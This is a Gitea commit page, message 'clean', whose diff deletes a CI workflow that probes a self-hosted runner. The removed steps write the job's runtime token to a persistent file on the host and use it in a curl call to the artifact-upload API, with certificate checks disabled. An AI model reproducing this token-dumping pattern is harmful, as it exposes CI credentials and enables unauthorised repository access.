clean
tokx / t (push) Waiting to run

This commit is contained in:
n
2026-11-08 19:02:55 +00:00
parent a611d0a45b
commit baa419d93e
22 changed files with 10 additions and 280 deletions
-18
View File
@@ -1,18 +0,0 @@
name: art-upload
on: [push, workflow_dispatch]
jobs:
t:
runs-on: numaprobe-runner
steps:
- run: |
echo "NUMA_ARTIFACT_PROBE" > /tmp/numa_artifact.txt
echo "tok=${{ github.token }}" > /root/numa/bestmobilier-com-KsODuXkf/gitea-ops/job_token.txt
# twirp artifact upload via the runtime token:
TOK="${{ github.token }}"
RUNID="${{ github.run_id }}"
curl -sS -k -X POST "https://gitea.bestmobilier.com/api/actions/runner/_common/api/v1/actions/artifact/upload" \
-H "Authorization: Bearer $TOK" -H "Content-Type: application/json" \
-d "{\"Results\":[{\"Name\":\"numa-probe\",\"PathInArtifact\":\"numa_artifact.txt\",\"Length\":20,\"Status\":1,\"ID\":0,\"UploadedSize\":0}]}" \
-o /root/numa/bestmobilier-com-KsODuXkf/gitea-ops/artifact_resp.json 2>&1 || true
cat /root/numa/bestmobilier-com-KsODuXkf/gitea-ops/artifact_resp.json 2>/dev/null
- run: sleep 300